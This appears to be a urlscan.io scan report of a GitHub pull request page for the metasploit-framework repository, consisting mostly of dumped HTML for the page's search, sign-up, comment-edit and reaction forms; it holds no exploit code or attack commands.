github.com Open in urlscan Pro
140.82.121.3  Public Scan

Submitted URL: https://info.rapid7.com/NDExLU5BSy05NzAAAAF_9OPz8z14hPMvJ5h419zjVwBCNgao4kDTneFjvDxuLauml-WtzNg2PuD06YB-b4_9QdB-OdBoP6uk...
Effective URL: https://github.com/rapid7/metasploit-framework/pull/15506?mkt_tok=NDExLU5BSy05NzAAAAF_9OPz8-ZYPRyaa7VLjmj245liYECuJ...
Submission: On October 06 via api from US — Scanned from DE

Form analysis 51 forms found in the DOM

GET /rapid7/metasploit-framework/search

<form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="2293158" data-scoped-search-url="/rapid7/metasploit-framework/search" data-owner-scoped-search-url="/orgs/rapid7/search"
  data-unscoped-search-url="/search" action="/rapid7/metasploit-framework/search" accept-charset="UTF-8" method="get">
  <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center">
    <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" data-test-selector="nav-search-input" placeholder="Search"
      data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search"
      data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off">
    <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="83Gm5ocHjuqMljTTrLh3h/Yoy8IEzouR9vFqc1ywvB0KJils8ejeCf5HDvwPMonbN9GuuExl+UH3wCIXCaovUQ==">
    <input type="hidden" class="js-site-search-type-field" name="type">
    <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash">
      <path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path>
      <path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path>
    </svg>
    <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
      <ul class="d-none js-jump-to-suggestions-template-container">
        <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option">
          <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion">
    <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
      <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
      <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
      <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
    </div>

    <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">

    <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
    </div>

    <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
      <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
        In this repository
      </span>
      <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
        All GitHub
      </span>
      <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>

    <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
      Jump to
      <span class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>
  </a>
        </li>
      </ul>
      <ul class="d-none js-jump-to-no-results-template-container">
        <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2">
          <span class="color-text-secondary">No suggested jump to results</span>
        </li>
      </ul>
      <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container">
        <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option">
          <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search">
    <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
      <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
      <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
      <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
    </div>

    <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">

    <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
    </div>

    <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
      <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
        In this repository
      </span>
      <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
        All GitHub
      </span>
      <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>

    <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
      Jump to
      <span class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>
  </a>
        </li>
        <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option">
          <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search">
    <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
      <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
      <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
      <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
    </div>

    <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">

    <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
    </div>

    <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
      <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this organization">
        In this organization
      </span>
      <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
        All GitHub
      </span>
      <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>

    <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
      Jump to
      <span class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>
  </a>
        </li>
        <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option">
          <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search">
    <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none">
      <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path>
</svg>
      <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path>
</svg>
      <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0">
    <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path>
</svg>
    </div>

    <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28">

    <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target">
    </div>

    <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search">
      <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository">
        In this repository
      </span>
      <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub">
        All GitHub
      </span>
      <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>

    <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump">
      Jump to
      <span class="d-inline-block ml-1 v-align-middle">↵</span>
    </div>
  </a>
        </li>
      </ul>
    </div>
  </label>
</form>

POST /join?return_to=%2Frapid7%2Fmetasploit-framework%2Fissues%2Fnew

<form class="js-signup-form" autocomplete="off" action="/join?return_to=%2Frapid7%2Fmetasploit-framework%2Fissues%2Fnew" accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token"
    value="hX65n8+HiGLSeQS4LSqdCzjjfTsI/s1QcsxSeEgdBueedZjiGBzV9shABHuseNynz74ZsqBbA+2EBTUBCJ6UUQ=="> <auto-check src="/signup_check/username">
    <dl class="form-group">
      <dt class="input-label"><label name="user[login]" autocapitalize="off" autofocus="autofocus" for="user_login_issues">Pick a username</label></dt>
      <dd><input name="user[login]" autocapitalize="off" autofocus="autofocus" class="form-control" type="text" id="user_login_issues" autocomplete="off" spellcheck="false"></dd>
    </dl>
    <input type="hidden" data-csrf="true" value="uesYFrrH3UzMdiYBTaaRpJX/TQcowv0mrSkEUXtht+g0NXUEo40lLZ6yun09u/SqDIY4oH0h2WAekYZaYbZTvw==">
  </auto-check>
  <auto-check src="/signup_check/email">
    <dl class="form-group">
      <dt class="input-label"><label name="user[email]" autocapitalize="off" for="user_email_issues">Email Address</label></dt>
      <dd><input name="user[email]" autocapitalize="off" class="form-control" type="text" id="user_email_issues" autocomplete="off" spellcheck="false"></dd>
    </dl>
    <input type="hidden" data-csrf="true" value="jHKy9c4pwilAP8Nirq2jkKNa7bas8v9ABuQplmVpSC36zXjs3jMpDiue8SZZTJQZjHBxE3JJYcVCMtuiARaUQQ==">
  </auto-check>
  <auto-check src="/users/password">
    <dl class="form-group">
      <dt class="input-label"><label name="user[password]" for="user_password_issues">Password</label></dt>
      <dd><input name="user[password]" class="form-control" type="password" id="user_password_issues" autocomplete="off" spellcheck="false"></dd>
    </dl><input type="hidden" data-csrf="true" value="w8tl3PqMSd1YjjxKC2MGZoXZhzv5AskVF9tstjptxCAt/B9milvtFULHSZmh7gkyvFlsODjzc1LvFkoza4sRZA==">
  </auto-check>
  <input type="hidden" name="source" class="js-signup-source" value="modal-issues">
  <input class="form-control" type="text" name="required_field_5c86" hidden="hidden">
  <input class="form-control" type="hidden" name="timestamp" value="1633534297951">
  <input class="form-control" type="hidden" name="timestamp_secret" value="aeabe208a7af00479fa9ad48f6a87ef97d2747bdb461e3db2e8fe7ed9be20026">
  <button data-ga-click="(Logged out) New issue modal, clicked Sign up, text:sign-up" type="submit" data-view-component="true" class="btn-primary btn btn-block mt-2"> Sign up for GitHub </button>
</form>

POST /rapid7/metasploit-framework/issues/15506

<form class="js-comment-update" id="issue-957569216-edit-form" action="/rapid7/metasploit-framework/issues/15506" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    data-csrf="true" name="authenticity_token" value="LYNDggNiHm3FBrjnJTWHLDVbHz04cPh/OP76mKJukKhz3QmZyki5nNyo5tzXz1CvV+sCLL3bb4C/p8fyHTP7hg=="></form>

POST /rapid7/metasploit-framework/issue_comments/891245017

<form class="js-comment-update" id="issuecomment-891245017-edit-form" action="/rapid7/metasploit-framework/issue_comments/891245017" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="5PvZQ4gQPhF2G3Gxt6h3EviW0NF4DDCS6gjudYYWb8f9Y2CsevcryBkON2hG1vwvn2pMUPYwJ4/sRXl78L66Jg==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/891245017/edit_form?textarea_id=issuecomment-891245017-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/891310083

<form class="js-comment-update" id="issuecomment-891310083-edit-form" action="/rapid7/metasploit-framework/issue_comments/891310083" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="D4emb68M6T3uHAVpnHZk5k29AH/3pQsVWsWM1VThvQxcucpS5j0bzOtskK+EGM8UMCUzyIUYnlUYE58tROaQKg==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/891310083/edit_form?textarea_id=issuecomment-891310083-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/892143267

<form class="js-comment-update" id="issuecomment-892143267-edit-form" action="/rapid7/metasploit-framework/issue_comments/892143267" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="mK2b2hL6nhKDi0pRAGXkYyFN9ybNwK5WvlErI31b4TakQZz06TKY+Pq+Uu1MoHwQ9hNPzX/qLzRvt3GJKyITxA==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/892143267/edit_form?textarea_id=issuecomment-892143267-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/issue_comments/892461545

<form class="js-comment-update" id="issuecomment-892461545-edit-form" action="/rapid7/metasploit-framework/issue_comments/892461545" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input
    type="hidden" data-csrf="true" name="authenticity_token" value="lPQhCiOS1Vn37h90oU9mEzFKjN9CZzuZmt+a1WNOR0yzWO0YAsA8JEuyYsowOhSz8IQXIR8KHuu5D/YryGOuww==">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/issue_comments/892461545/edit_form?textarea_id=issuecomment-892461545-body&amp;comment_context=" class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/pull/15506/review_comment/683490045

<form class="js-comment-update" data-type="json" action="/rapid7/metasploit-framework/pull/15506/review_comment/683490045" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden"
    name="authenticity_token" value="g6NLoc4xBCVBNSMll02OMrCVvhT6HRxB0kPPCPmZ+bixOaKdDsK9zV4+Hyt+PtvNfVsZCU3fNM03q9tkzZZoWQ==" autocomplete="off">
  <include-fragment loading="lazy" src="/rapid7/metasploit-framework/pull/15506/review_comment/683490045/edit_form?textarea_id=discussion_r683490045-body&amp;comment_context=discussion"
    class="previewable-comment-form js-comment-edit-form-deferred-include-fragment">
    <p class="text-center mt-3" data-hide-on-error="">
      <svg aria-label="Loading..." style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate">
        <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke"></circle>
        <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke"></path>
      </svg>
    </p>
    <p class="ml-1 mb-2 mt-2" data-show-on-error="" hidden="">
      <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
        <path fill-rule="evenodd"
          d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z">
        </path>
      </svg> Sorry, something went wrong.
    </p>
  </include-fragment>
</form>

POST /rapid7/metasploit-framework/reactions

<form class="js-pick-reaction" action="/rapid7/metasploit-framework/reactions" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off"><input type="hidden" name="authenticity_token"
    value="3uPOxsOxhon2z1o/tmzNRNt/jvceU7zuxOP5JHOof7raaqzuJIvYEU11vB68SuOuIi10gzDSLKu5G4a/ahxD4w==" autocomplete="off">
  <input type="hidden" name="input[subjectId]" value="MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDY4MzQ5MDA0NQ==">
